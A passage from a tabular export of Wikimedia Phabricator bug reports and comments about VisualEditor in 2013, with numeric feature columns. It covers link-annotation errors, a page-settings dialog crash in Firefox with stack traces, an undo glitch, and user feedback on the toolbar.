I do. Dyslexia strikes again :(",,,1379606657,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,False,,,11,,2.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,7.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.5,1.0,1.5,4.5,0.0,0.0,0.0,0.5,5.0,0.0,2.0,0.0,1.0,7.5,5.5,3.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,9.0,3.591549295774648,0.6901408450704225,"How to reproduce

1. Load any page in VE
2. Type any sequence of characters ending in one or more non-space characters followed by any non-alphanumeric character except space or underscore. For example: Foo?
3. Link what you have written, including the last character, to any target (e.g. [[Wikipedia]].
4. add any text immediately before the last character. eg. change Foo? to Fooish?
5. Save and look at the diff.

Expected wikitext:
[[Wikipedia|Fooish?]]

Actual wikitext:
[[Wikipedia|Foo]]<nowiki />ish[[Wikipedia|?]]

(In reply to comment #1)
QUOTE

I do. Dyslexia strikes again :("
247547,VisualEditor: Inserting into a link with a trailing (linked) non-alphanumeric character causes link pre-annotation to fail,I think you mean bug 51442,,,1379606464,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-aaouxso4nhg5xgscmdmm,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,I think you mean bug 51442
56322,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Current VisualEditor-Version:
commit c98a964d5f8495f0d16af9229abbeb0449042d1e
Merge: 3d01a5b e7aed52
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Sep 18 01:11:46 2013 +0000
Merge ""Fix check for preformatted when stripping whitespace""

Browser: Firefox 24.0 on Windows 7 64bit


Description:
I updated my VisualEditor via git yesterday. Before that I didnt update for 4 weeks. Now when openening a page on my MediaWiki in VE-Editmode I cant assign a page category (See screenshot).

I tried to debug with Firebug: When I click on categories the following error gets fired:

TypeError: style is null
http://XYZ/load.php?debug=false&lang=de&modules=ext.visualEditor.core%2Cdata%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T072806Z&*
Line 9

--------------------------
**Version**: unspecified
**Severity**: blocker",High,80.0,1379594760,1380823394.0,PHID-USER-26asvhtv4jalaeeuigbm,False,,False,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,4.5,0.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,19.5,2.0,0.0,2.5,0.0,0.0,0.0,0.0,2.5,0.0,4.0,0.0,4.5,6.0,12.5,0.0,1.0,0.0,4.5,0.0,2.0,1.5,0.0,2.0,0.0,0.0,0.5,4.261477230655313,0.7412069603850426,"Current VisualEditor-Version:
commit c98a964d5f8495f0d16af9229abbeb0449042d1e
Merge: 3d01a5b e7aed52
Author: jenkins-bot <jenkins-bot@gerrit.wikimedia.org>
Date:   Wed Sep 18 01:11:46 2013 +0000
Merge ""Fix check for preformatted when stripping whitespace""

Browser: Firefox 24.0 on Windows 7 64bit


Description:
I updated my VisualEditor via git yesterday. Before that I didnt update for 4 weeks. Now when openening a page on my MediaWiki in VE-Editmode I cant assign a page category (See screenshot).

I tried to debug with Firebug: When I click on categories the following error gets fired:

TypeError: style is null
URL
Line 9

--------------------------
**Version**: unspecified
**Severity**: blocker"
247037,VisualEditor: [Regression] Page settings dialog broken in Firefox,Have split the new failure into bug 54928 and am re-closing this one.,,,1380823394,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.5625,1.0,Have split the new failure into bug 54928 and am re-closing this one.
247033,VisualEditor: [Regression] Page settings dialog broken in Firefox,"(In reply to comment #7)
> This should be fixed in https://gerrit.wikimedia.org/r/#/c/85692 , which is
> in
> wmf19 but not in wmf18. enwiki is being upgraded from wmf18 to wmf19 today,
> hopefully that'll fix it.

That's the patch that closed this bug (comment 3). But it appears there is indeed a new bug that causes the page settings dialog to be broken again due to an uncaught exception when the dialog is first created when clicking the page settings button.


It fails in Chrome like this:

Uncaught TypeError: Cannot use 'in' operator to search for 'scrollTop' in undefined load.php?…:102
vendorPropName load.php?…:102
jQuery.extend.css load.php?…:105
Tween.propHooks._default.get load.php?…:136
Tween.cur load.php?…:136
Tween.init load.php?…:135
Tween load.php?…:135
Animation.deferred.promise.createTween load.php?…:131
tweeners.* load.php?…:129
(anonymous function) load.php?…:130
jQuery.extend.each load.php?…:8
createTweens load.php?…:130
Animation load.php?…:132
doAnimation load.php?…:137
jQuery.extend.dequeue load.php?…:25
(anonymous function) load.php?…:26
jQuery.extend.each load.php?…:8
jQuery.fn.jQuery.each load.php?…:4
jQuery.fn.extend.queue load.php?…:26
jQuery.fn.extend.animate load.php?…:138
ve.Element.scrollIntoView load.php?ext.visualEditor…:11
ve.Element.scrollElementIntoView load.php?ext.visualEditor…:12
ve.ui.OptionWidget.setSelected load.php?ext.visualEditor…:404
ve.ui.SelectWidget.selectItem load.php?ext.visualEditor…:400
ve.ui.PagedDialog.addPage load.php?ext.visualEditor…:458
ve.ui.MWMetaDialog.initialize load.php?ext.visualEditor…:461
ve.ui.Window.onFrameInitialize load.php?ext.visualEditor…:353
oo.EventEmitter.emit load.php?ext.visualEditor.bas…:133
ve.ui.Frame.load load.php?ext.visualEditor…:351
ve.ui.WindowSet.open load.php?ext.visualEditor…:356
ve.init.mw.ViewPageTarget.onToolbarMwMetaButtonClick load.php?ext.visualEditor.bas…:87
proxy load.php?…:10
jQuery.event.dispatch load.php?…:45
elemData.handle.eventHandle load.php?…:38",,,1380823156,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,9.666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.0,1.0,9.333333333333334,0.6666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.0,1.0,4.0,18.0,0.0,1.3333333333333333,0.0,1.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,7.9444444444444455,0.6574074074074074,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

That's the patch that closed this bug (comment 3). But it appears there is indeed a new bug that causes the page settings dialog to be broken again due to an uncaught exception when the dialog is first created when clicking the page settings button.


It fails in Chrome like this:

Uncaught TypeError: Cannot use 'in' operator to search for 'scrollTop' in undefined load.php?…:102
vendorPropName load.php?…:102
jQuery.extend.css load.php?…:105
Tween.propHooks._default.get load.php?…:136
Tween.cur load.php?…:136
Tween.init load.php?…:135
Tween load.php?…:135
Animation.deferred.promise.createTween load.php?…:131
tweeners.* load.php?…:129
(anonymous function) load.php?…:130
jQuery.extend.each load.php?…:8
createTweens load.php?…:130
Animation load.php?…:132
doAnimation load.php?…:137
jQuery.extend.dequeue load.php?…:25
(anonymous function) load.php?…:26
jQuery.extend.each load.php?…:8
jQuery.fn.jQuery.each load.php?…:4
jQuery.fn.extend.queue load.php?…:26
jQuery.fn.extend.animate load.php?…:138
ve.Element.scrollIntoView load.php?ext.visualEditor…:11
ve.Element.scrollElementIntoView load.php?ext.visualEditor…:12
ve.ui.OptionWidget.setSelected load.php?ext.visualEditor…:404
ve.ui.SelectWidget.selectItem load.php?ext.visualEditor…:400
ve.ui.PagedDialog.addPage load.php?ext.visualEditor…:458
ve.ui.MWMetaDialog.initialize load.php?ext.visualEditor…:461
ve.ui.Window.onFrameInitialize load.php?ext.visualEditor…:353
oo.EventEmitter.emit load.php?ext.visualEditor.bas…:133
ve.ui.Frame.load load.php?ext.visualEditor…:351
ve.ui.WindowSet.open load.php?ext.visualEditor…:356
ve.init.mw.ViewPageTarget.onToolbarMwMetaButtonClick load.php?ext.visualEditor.bas…:87
proxy load.php?…:10
jQuery.event.dispatch load.php?…:45
elemData.handle.eventHandle load.php?…:38"
247026,VisualEditor: [Regression] Page settings dialog broken in Firefox,"This should be fixed in https://gerrit.wikimedia.org/r/#/c/85692 , which is in wmf19 but not in wmf18. enwiki is being upgraded from wmf18 to wmf19 today, hopefully that'll fix it.",,,1380822772,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,16.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.78125,"This should be fixed in URL , which is in wmf19 but not in wmf18. enwiki is being upgraded from wmf18 to wmf19 today, hopefully that'll fix it."
247020,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Confirmed:

* Working on latest master locally (Chrome).
* Broken on mediawik.org (Chrome).",,,1380818645,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.6818181818181817,0.7272727272727273,"Confirmed:

* Working on latest master locally (Chrome).
* Broken on mediawik.org (Chrome)."
247014,VisualEditor: [Regression] Page settings dialog broken in Firefox,"It's still happening, unfortunately. Ed found out it works fine on local and mediawiki.org, though.

TeamGale mentioned this today at en.wp:
<<Just wanted to ask...how can we add categories with VE? In the past I could do it by clicking on ""Page settings"" but now when I click on it nothing happens! Is there somewhere else a button that adds categories? I searched everywhere but I can't find it. If it's still on the ""Page settings"" then something is not working right... Thanks TeamGale 09:54, 3 October 2013 (UTC)>>

Fram tested as well:

<<Tested this. FIrst click on ""page settings"" gives no results. Second click opens the page setting window. But I can't do anything there.>>

I can confirm that the second click just launches an empty window, with only the ""categories"" label text on the left column.

<<Actually this one with the categories is happening for a while for me. Just when I first found it I was in a hurry and couldn't leave a feedback. Then I totally forgot about it till now that I needed to use it again. It's weird that no one else mentioned it here before though.
Elitre, I don't know if it's a cache problem but I'll try to clean my cache again and re-test it. But the ""after a few attempts"" is still not right for me. Shouldn't this happening in the first attempt? TeamGale 10:12, 3 October 2013 (UTC)
Update: Nop, still happening the same for me even if I clean cache, cookies etc... TeamGale 10:20, 3 October 2013 (UTC)
Hmm...it seems to be only a Mozilla issue. I just tried it with Mozilla on Greek WP and it still doesn't work. But when I tested it on Google, it was working just fine. TeamGale 11:00, 3 October 2013 (UTC)>>",,,1380799304,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,13,,0.25,0.5,0.25,0.0,2.0,2.75,0.5,0.0,0.5,0.75,1.0,1.75,0.0,0.5,0.0,5.0,0.0,12.25,9.25,0.75,1.0,0.25,0.25,0.0,3.25,0.0,0.0,0.0,1.0,0.25,0.25,4.75,1.25,4.5,1.25,0.0,0.25,0.0,0.5,0.25,0.5,0.0,1.25,0.0,0.0,0.0,0.0,0.25,0.25,8.75,0.5,0.75,0.25,1.25,0.0,0.0,0.25,0.0,0.25,0.0,0.5,1.75,0.0,0.75,0.0,0.25,0.0,4.5,1.75,14.75,2.75,2.5,6.0,0.0,0.0,0.25,0.0,4.5,0.0,2.75,0.0,9.5,9.25,7.0,0.75,2.5,0.0,9.5,0.0,1.25,2.0,0.75,2.0,0.0,0.0,2.75,3.49234693877551,0.6862244897959184,"It's still happening, unfortunately. Ed found out it works fine on local and mediawiki.org, though.

TeamGale mentioned this today at en.wp:
<<Just wanted to ask...how can we add categories with VE? In the past I could do it by clicking on ""Page settings"" but now when I click on it nothing happens! Is there somewhere else a button that adds categories? I searched everywhere but I can't find it. If it's still on the ""Page settings"" then something is not working right... Thanks TeamGale 09:54, 3 October 2013 (UTC)>>

Fram tested as well:

<<Tested this. FIrst click on ""page settings"" gives no results. Second click opens the page setting window. But I can't do anything there.>>

I can confirm that the second click just launches an empty window, with only the ""categories"" label text on the left column.

<<Actually this one with the categories is happening for a while for me. Just when I first found it I was in a hurry and couldn't leave a feedback. Then I totally forgot about it till now that I needed to use it again. It's weird that no one else mentioned it here before though.
Elitre, I don't know if it's a cache problem but I'll try to clean my cache again and re-test it. But the ""after a few attempts"" is still not right for me. Shouldn't this happening in the first attempt? TeamGale 10:12, 3 October 2013 (UTC)
Update: Nop, still happening the same for me even if I clean cache, cookies etc... TeamGale 10:20, 3 October 2013 (UTC)
Hmm...it seems to be only a Mozilla issue. I just tried it with Mozilla on Greek WP and it still doesn't work. But when I tested it on Google, it was working just fine. TeamGale 11:00, 3 October 2013 (UTC)>>"
247007,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Problem solved. Tested with Firefox 24.0 on Windows 7 64BIT.
>> Page-settings dialog is operational and working.",,,1380001984,,PHID-USER-26asvhtv4jalaeeuigbm,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,"Problem solved. Tested with Firefox 24.0 on Windows 7 64BIT.
QUOTE"
246999,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Change 85692 merged by jenkins-bot:
ve.Element: Account for getComputerStyle returning null

https://gerrit.wikimedia.org/r/85692",,,1379963945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.7,0.95,"Change 85692 merged by jenkins-bot:
ve.Element: Account for getComputerStyle returning null

GERRIT_URL"
246990,VisualEditor: [Regression] Page settings dialog broken in Firefox,"Change 85692 had a related patch set uploaded by Krinkle:
ve.Element: Account for getComputerStyle returning null

https://gerrit.wikimedia.org/r/85692",,,1379959272,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,0.9565217391304348,"Change 85692 had a related patch set uploaded by Krinkle:
ve.Element: Account for getComputerStyle returning null

GERRIT_URL"
246981,VisualEditor: [Regression] Page settings dialog broken in Firefox,"I can confirm. When trying to open the Page settings dialog, an exception is thrown for ""style is null"":

ve.Element.js, line:
 		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,

Context:
ve.Element.getBorders = function ( el ) {
	var doc = el.ownerDocument,
		win = doc.parentWindow || doc.defaultView,
		style = win && win.getComputedStyle ?
			win.getComputedStyle( el, null ) : el.currentStyle,
		loc = win && win.getComputedStyle ? true : false,
		$el = $( el ),
		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,",,,1379595471,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wxxlsxtwpum7ayno6uo4,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.5,0.5,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.5,2.0,12.5,2.5,3.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.798507462686567,0.5970149253731343,"I can confirm. When trying to open the Page settings dialog, an exception is thrown for ""style is null"":

ve.Element.js, line:
 		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,

Context:
ve.Element.getBorders = function ( el ) {
	var doc = el.ownerDocument,
		win = doc.parentWindow || doc.defaultView,
		style = win && win.getComputedStyle ?
			win.getComputedStyle( el, null ) : el.currentStyle,
		loc = win && win.getComputedStyle ? true : false,
		$el = $( el ),
		top = parseFloat( loc ? style.borderTopWidth : $el.css( 'borderTopWidth' ) ) || 0,"
56314,"VisualEditor: A pawn appears when undoing ""select transclusion and replace with text""","Steps to reproduce bug:
1. Edit a page
2. Insert a transclusion, apply changes
# The transclusion is now selected (VE does this automatically for newly inserted nodes)
3. Type a characters
# Selected content is removed, text is inserted
4. Undo

The expected result is the text being replaced with the transclusion. Instead a pawn is inserted.

Upon further inspection I noticed that the transclusion isn't lost, however. In fact it is right there when you Undo again (after getting the pawn).

So it looks like the pawn was inserted as a transaction in the middle of removing the transclusion (its own transaction but not supposed to be?) and inserting the text.

We auto-select the template after insertion and it is relatively easy to accidentally press a key afterwards. And Undo then shows the user something scary (their template appears lost). A fairly high priority bug regarding user experience.

Not sure if this is a regression or not.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1379589060,1381281061.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-equ6rehqzaorfkk3nuw5,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.3333333333333333,0.0,2.3333333333333335,1.6666666666666667,4.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,7.333333333333333,5.333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,5.0,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,5.0,0.0,0.0,0.0,0.0,0.3333333333333333,10.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,7.333333333333333,4.333333333333333,8.0,1.3333333333333333,2.0,8.0,0.0,0.0,0.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,3.0,5.333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,3.0,0.0,0.3333333333333333,3.0,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,4.0098934550989345,0.7236808726534755,"Steps to reproduce bug:
1. Edit a page
2. Insert a transclusion, apply changes
# The transclusion is now selected (VE does this automatically for newly inserted nodes)
3. Type a characters
# Selected content is removed, text is inserted
4. Undo

The expected result is the text being replaced with the transclusion. Instead a pawn is inserted.

Upon further inspection I noticed that the transclusion isn't lost, however. In fact it is right there when you Undo again (after getting the pawn).

So it looks like the pawn was inserted as a transaction in the middle of removing the transclusion (its own transaction but not supposed to be?) and inserting the text.

We auto-select the template after insertion and it is relatively easy to accidentally press a key afterwards. And Undo then shows the user something scary (their template appears lost). A fairly high priority bug regarding user experience.

Not sure if this is a regression or not.

--------------------------
**Version**: unspecified
**Severity**: major"
246645,"VisualEditor: A pawn appears when undoing ""select transclusion and replace with text""","This is now fixed, AFAICS. Marking as such.",,,1380844698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-equ6rehqzaorfkk3nuw5,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,"This is now fixed, AFAICS. Marking as such."
56271,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"From en.wp.

John Broughton: <<So there is now a new toolbar, and - bizarrely - the icons for media, reference, reference list, and transclusion '''are no longer visible'''. They are now under the ""More"" menu.
Okay, one could argue that these four are, somehow, ''advanced'' editing options (no matter how critical they are to editing articles). But I'd love to hear from someone as to why Bold and Italic (the first in particular ''rarely'' used in articles) still have icons visible on the toolbar, while five other formatting options are now under ""More"". It really, really would have been better to have a ""Format text"" drop-down menu that had all seven text formatting options on it, and to leave the media, reference, reference list, and transclusion icons where they were, visible on the toolbar. Or, worst case, leave them under the ""More"" menu [one more click, and thus one less reason for experienced editors to use VE, because this '''makes it more cumbersome to use''' those four things]; at least then they wouldn't be paired with formatting options with which they have little in common. [...] (And don't even get me started on the ''sequence'' within the new ""More"" drop-down menu - apparently the ''least'' important choices are at the ''top'' because that's the way that ''no one else'' does drop-down menus, so obviously everyone else is wrong?!?)>>

Andrew Davidson: <<Bold formatting is not rarely used.  It is used in all articles right at the beginning to emphasise the name of the topic and any synonyms.  But this usage is quite specialised and subject to the conventions of our manual of style.  The VE should understand this.  Either the use of bold text should be handled by a style sheet/template/wizard approach to article creation.  Or the appearance of the bold option in the toolbar should be context sensitive so that it only appears when editing the lead of an article and warnings appears if it seems to be used incorrectly. >>

Salix alba: <<One problem I get is the toolbar frequently splits into two lines. If my browser less than 1100 pixels then the toolbar wraps leaving lots of white space which could be usefully filled. I'd be happier either with single line with more drop downs or two full lines, just not empty space.
I guess different editors will want different things on a toolbar. Doing inline maths you would want italics, sub, and sup to be easily added plus greek symbols eiπ. Other editors will have different requirements. Tooltips would be handy to get shortcuts for each action, (no I will not read the help page). The wikitext editor's toolbar manages to make a lot of things easily accessible.>>

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1379510460,1389667077.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-agsyhe563ga6xlci4yds,task_description,resolved,True,c1,3,False,False,False,11,,0.6666666666666666,0.3333333333333333,0.0,1.1666666666666667,0.8333333333333334,7.833333333333333,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,4.0,0.0,0.16666666666666666,0.16666666666666666,1.3333333333333333,0.6666666666666666,7.166666666666667,11.0,0.3333333333333333,1.6666666666666667,0.5,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.5,0.16666666666666666,0.0,0.3333333333333333,1.5,0.3333333333333333,4.333333333333333,0.6666666666666666,1.0,0.3333333333333333,0.16666666666666666,0.5,0.0,0.3333333333333333,0.0,0.16666666666666666,1.0,0.5,2.3333333333333335,0.16666666666666666,0.6666666666666666,0.0,0.16666666666666666,0.16666666666666666,15.5,0.6666666666666666,0.6666666666666666,0.0,2.0,0.0,0.0,0.0,0.16666666666666666,1.1666666666666667,0.0,0.16666666666666666,1.0,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,5.333333333333333,3.6666666666666665,6.833333333333333,2.3333333333333335,3.1666666666666665,7.5,0.0,0.0,